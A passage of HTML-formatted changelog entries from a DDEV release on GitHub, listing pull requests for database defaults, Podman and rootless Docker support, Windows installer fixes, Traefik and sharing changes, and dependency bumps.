<li>test(add-on): replace redis-commander with redis-insight by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672679420" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7911" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7911/hovercard" href="https://github.com/ddev/ddev/pull/7911">#7911</a></li>
<li>chore(deprecation): update default MariaDB version to 11.8 for new projects, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2760145770" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6861" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6861/hovercard" href="https://github.com/ddev/ddev/issues/6861">#6861</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607131104" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7824" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7824/hovercard" href="https://github.com/ddev/ddev/pull/7824">#7824</a></li>
<li>build(mkdocs): bump actions/setup-python from 6.0.0 to 6.1.0, pin click to 8.2.1 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3682052853" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7913" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7913/hovercard" href="https://github.com/ddev/ddev/pull/7913">#7913</a></li>
<li>fix: check for multiple global config dirs on <code>ddev start</code> and improve usage for <code>~/.ddev</code> in the docs, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3374443982" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7582" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7582/hovercard" href="https://github.com/ddev/ddev/issues/7582">#7582</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623239781" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7859" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7859/hovercard" href="https://github.com/ddev/ddev/pull/7859">#7859</a></li>
<li>test(quickstart): remove version pins from Magento 2, Silverstripe, Symfony, TYPO3, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3662754285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7905" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7905/hovercard" href="https://github.com/ddev/ddev/issues/7905">#7905</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3685279997" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7914" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7914/hovercard" href="https://github.com/ddev/ddev/pull/7914">#7914</a></li>
<li>fix: remove unnecessary debug output when probing for TYPO3 project type, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654714403" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7890" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7890/hovercard" href="https://github.com/ddev/ddev/issues/7890">#7890</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3687124292" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7918" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7918/hovercard" href="https://github.com/ddev/ddev/pull/7918">#7918</a></li>
<li>test(windows): stop uninstalling as it leads to intermittent problems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686346053" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7916" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7916/hovercard" href="https://github.com/ddev/ddev/pull/7916">#7916</a></li>
<li>fix: Windows installer refuses to install on wrong architecture, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3318865014" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7524" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7524/hovercard" href="https://github.com/ddev/ddev/issues/7524">#7524</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3660479712" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7900" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7900/hovercard" href="https://github.com/ddev/ddev/issues/7900">#7900</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672315294" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7910" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7910/hovercard" href="https://github.com/ddev/ddev/pull/7910">#7910</a></li>
<li>feat(pantheon): address Pantheon hosting provider issues, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3533649620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7730" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7730/hovercard" href="https://github.com/ddev/ddev/issues/7730">#7730</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450001792" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7655" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7655/hovercard" href="https://github.com/ddev/ddev/issues/7655">#7655</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612620085" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7837" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7837/hovercard" href="https://github.com/ddev/ddev/pull/7837">#7837</a></li>
<li>fix(collation): Use more portable default collations for mysql8.x and mariadb11.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3663530493" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7906" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7906/hovercard" href="https://github.com/ddev/ddev/pull/7906">#7906</a></li>
<li>feat: Warn WSL2 users with project on Windows filesystem, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3651875329" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7888" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7888/hovercard" href="https://github.com/ddev/ddev/issues/7888">#7888</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686470597" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7917" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7917/hovercard" href="https://github.com/ddev/ddev/pull/7917">#7917</a></li>
<li>fix(diagnose): Remove the hard-coded IP "127.0.0.1" from the DNS check, since it may be incorrect, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633143202" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7871" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7871/hovercard" href="https://github.com/ddev/ddev/issues/7871">#7871</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/grummbeer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/grummbeer">@grummbeer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633286534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7872" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7872/hovercard" href="https://github.com/ddev/ddev/pull/7872">#7872</a></li>
<li>docs: update instructions for maintainers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3698909154" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7924" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7924/hovercard" href="https://github.com/ddev/ddev/pull/7924">#7924</a></li>
<li>chore(debug): Migrate <code>ddev debug</code> statements to <code>ddev utility</code> statements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3699848765" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7925" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7925/hovercard" href="https://github.com/ddev/ddev/pull/7925">#7925</a></li>
<li>fix: Remove obsolete config syntax and commands for v1.25.0, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607194599" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7825" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7825/hovercard" href="https://github.com/ddev/ddev/issues/7825">#7825</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3687175513" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7919" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7919/hovercard" href="https://github.com/ddev/ddev/pull/7919">#7919</a></li>
<li>build(php): install php8.5-xdebug (amd64/arm64), php7.0-7.3-redis (arm64), php8.5-memcached (amd64) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3707067166" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7928" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7928/hovercard" href="https://github.com/ddev/ddev/pull/7928">#7928</a></li>
<li>feat: add Podman rootless/rootful and Docker rootless support, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="623451687" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2276" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/2276/hovercard" href="https://github.com/ddev/ddev/issues/2276">#2276</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="842390678" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2899" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/2899/hovercard" href="https://github.com/ddev/ddev/issues/2899">#2899</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3492748614" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7702" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7702/hovercard" href="https://github.com/ddev/ddev/pull/7702">#7702</a></li>
<li>docs: Fix link to globalsign safenet drivers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713142680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7932" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7932/hovercard" href="https://github.com/ddev/ddev/pull/7932">#7932</a></li>
<li>fix: use correct condition for host ports, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3693511292" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7920" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7920/hovercard" href="https://github.com/ddev/ddev/issues/7920">#7920</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3694772398" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7922" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7922/hovercard" href="https://github.com/ddev/ddev/pull/7922">#7922</a></li>
<li>fix(ddev-ssh-agent): Update ddev-ssh-agent to base on Trixie and accept PKCS8 RSA keys, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1653998930" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/4802" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/4802/hovercard" href="https://github.com/ddev/ddev/issues/4802">#4802</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3716441913" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7933" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7933/hovercard" href="https://github.com/ddev/ddev/pull/7933">#7933</a></li>
<li>fix(docker): support SELinux shared label, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2984740969" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7196" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7196/hovercard" href="https://github.com/ddev/ddev/issues/7196">#7196</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3723914792" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7939" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7939/hovercard" href="https://github.com/ddev/ddev/pull/7939">#7939</a></li>
<li>build(deps): bump actions/cache from 4 to 5 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730870250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7944" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7944/hovercard" href="https://github.com/ddev/ddev/pull/7944">#7944</a></li>
<li>build(deps): bump actions/upload-artifact from 5 to 6 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730869671" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7943" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7943/hovercard" href="https://github.com/ddev/ddev/pull/7943">#7943</a></li>
<li>fix: convert Windows installer to per-user installation, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3575314275" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7776" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7776/hovercard" href="https://github.com/ddev/ddev/issues/7776">#7776</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713015842" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7931" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7931/hovercard" href="https://github.com/ddev/ddev/pull/7931">#7931</a></li>
<li>feat: support using zstd for snapshots, fix <code>postgres:9</code> snapshot, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616597924" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7844" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7844/hovercard" href="https://github.com/ddev/ddev/issues/7844">#7844</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1127360922" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/3583" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/3583/hovercard" href="https://github.com/ddev/ddev/issues/3583">#3583</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616747625" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7845" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7845/hovercard" href="https://github.com/ddev/ddev/pull/7845">#7845</a></li>
<li>fix: only create volume for configured db type, add project label by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720288833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7937" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7937/hovercard" href="https://github.com/ddev/ddev/pull/7937">#7937</a></li>
<li>feat: restart supervisor for generic webserver and blackfire, xdebug, xhprof, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3728157390" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7941" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7941/hovercard" href="https://github.com/ddev/ddev/issues/7941">#7941</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3712251719" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev-frankenphp/issues/44" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev-frankenphp/issues/44/hovercard" href="https://github.com/ddev/ddev-frankenphp/issues/44">ddev/ddev-frankenphp#44</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3731758265" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7945" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7945/hovercard" href="https://github.com/ddev/ddev/pull/7945">#7945</a></li>
<li>fix(router): ensure Traefik dashboard port is always bound to localhost by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730518709" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7942" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7942/hovercard" href="https://github.com/ddev/ddev/pull/7942">#7942</a></li>
<li>fix: fail on <code>ddev start</code> for docker-rootless w/o no-bind-mounts, don't test with latest rootless by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3738663620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7952" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7952/hovercard" href="https://github.com/ddev/ddev/pull/7952">#7952</a></li>
<li>fix: remove stale target files in getBackupCommand to prevent "Is a directory" errors, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3718149196" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7936" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7936/hovercard" href="https://github.com/ddev/ddev/issues/7936">#7936</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720369430" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7938" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7938/hovercard" href="https://github.com/ddev/ddev/pull/7938">#7938</a></li>
<li>fix(windows): Change FindBashPath to detect user-local Git Bash installations on Windows, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3735819794" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7948" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7948/hovercard" href="https://github.com/ddev/ddev/issues/7948">#7948</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3736233337" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7949" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7949/hovercard" href="https://github.com/ddev/ddev/pull/7949">#7949</a></li>
<li>test(lima): force limactl stop [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3744194229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7957" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7957/hovercard" href="https://github.com/ddev/ddev/pull/7957">#7957</a></li>
<li>docs(ssh): Explain what to do when remote host identification has changed, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3734385388" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7946" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7946/hovercard" href="https://github.com/ddev/ddev/issues/7946">#7946</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3743993887" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7956" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7956/hovercard" href="https://github.com/ddev/ddev/pull/7956">#7956</a></li>
<li>feat(share): Rework <code>ddev share</code>, add cloudflared share provider, enhance tests, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3579685928" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7784" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7784/hovercard" href="https://github.com/ddev/ddev/issues/7784">#7784</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2435853250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6441" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6441/hovercard" href="https://github.com/ddev/ddev/issues/6441">#6441</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595452314" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7802" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7802/hovercard" href="https://github.com/ddev/ddev/pull/7802">#7802</a></li>
<li>docs(codespaces): persist global config on codespaces, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2308791511" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6228" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6228/hovercard" href="https://github.com/ddev/ddev/issues/6228">#6228</a> [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745175516" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7958" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7958/hovercard" href="https://github.com/ddev/ddev/pull/7958">#7958</a></li>
<li>test(buildkite): Make sure to clean up global traefik dir [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751522568" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7965" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7965/hovercard" href="https://github.com/ddev/ddev/pull/7965">#7965</a></li>
<li>test(windows): Fix timing bug in TestWindowsInstallerWSL2 polling loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751448862" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7964" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7964/hovercard" href="https://github.com/ddev/ddev/pull/7964">#7964</a></li>
<li>test(share): fix TestShareCmdProviderSystem/ProviderArgsFlag assertion, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745929213" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7959" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7959/hovercard" href="https://github.com/ddev/ddev/issues/7959">#7959</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748079866" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7960" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7960/hovercard" href="https://github.com/ddev/ddev/pull/7960">#7960</a></li>
<li>test: Stop using old version of memcached to prevent output about docker-compose version tag [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754794611" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7973" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7973/hovercard" href="https://github.com/ddev/ddev/pull/7973">#7973</a></li>
<li>fix(platform): Resume environment if not running by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754724806" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7972" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7972/hovercard" href="https://github.com/ddev/ddev/pull/7972">#7972</a></li>
<li>build(deps): install tzdata-legacy for Debian 13 Trixie by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754280745" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7971" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7971/hovercard" href="https://github.com/ddev/ddev/pull/7971">#7971</a></li>
